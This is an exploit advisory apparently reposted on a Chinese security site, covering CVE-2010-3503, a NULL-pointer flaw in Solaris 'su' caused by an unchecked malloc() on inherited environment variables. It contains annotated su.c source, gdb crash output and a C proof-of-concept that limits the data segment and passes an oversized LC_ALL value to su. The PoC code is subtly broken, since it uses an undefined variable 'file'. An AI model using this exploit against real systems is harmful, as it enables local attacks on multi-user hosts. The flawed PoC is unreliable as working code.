首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle Solaris CVE-2010-3503 'su' Local Solaris Vulnerability
来源:vfocus.net 作者:prdelka 发布时间:2010-10-14  

From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c

    521   for (j = 0; initenv[j] != 0; j++) { [1]
    522    if (initvar = getenv(initenv[j])) { [2]
    ...
    535     } else {
    536      var = (char *)
    537          malloc(strlen(initenv[j]) [3]
    538          + strlen(initvar)
    539          + 2);
    540      (void) strcpy(var, initenv[j]); [4]
 
'su' when creating new environment from inherited environment inherits values defined
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
a null ptr vulnerability in 'su'.


   Program terminated with signal 11, Segmentation fault.
   #0  0xd1244734 in ?? ()
   (gdb) x/i $pc
   0xd1244734:  mov    %eax,(%edi)
   (gdb) i r $eax
   eax            0x415f434c    1096762188 <- OUR STRING
   (gdb) i r $edi
   edi            0x0   0 <- NULL PTR

    Incurred fault #6, FLTBOUNDS  %pc = 0xD1244734
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000


----[ PoC trigger 'su' as you.
/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!

   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault

  -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}


// This was disclosed and patched in October 2010, CVE-2010-3503


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle Virtual Server Agent Co
·Multiple Buffer Overflows in W
·Oracle Java APPLET Tag Childre
·e-kart (tr) Database Disclosur
·Firefox 3.5.10 & 3.6.6 WMP Mem
·postcard mentor (ing) (guncell
·Oracle Java 6 OBJECT tag "laun
·Ease Jukebox v1.30 Denial of S
·Acoustica BeatCraft v1.02 Buil
·PCDJ Karaoki 0.6.3819 Denial o
·Disk Pulse Server v2.2.34 Remo
·Rocket Software UniData <= 7.2
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved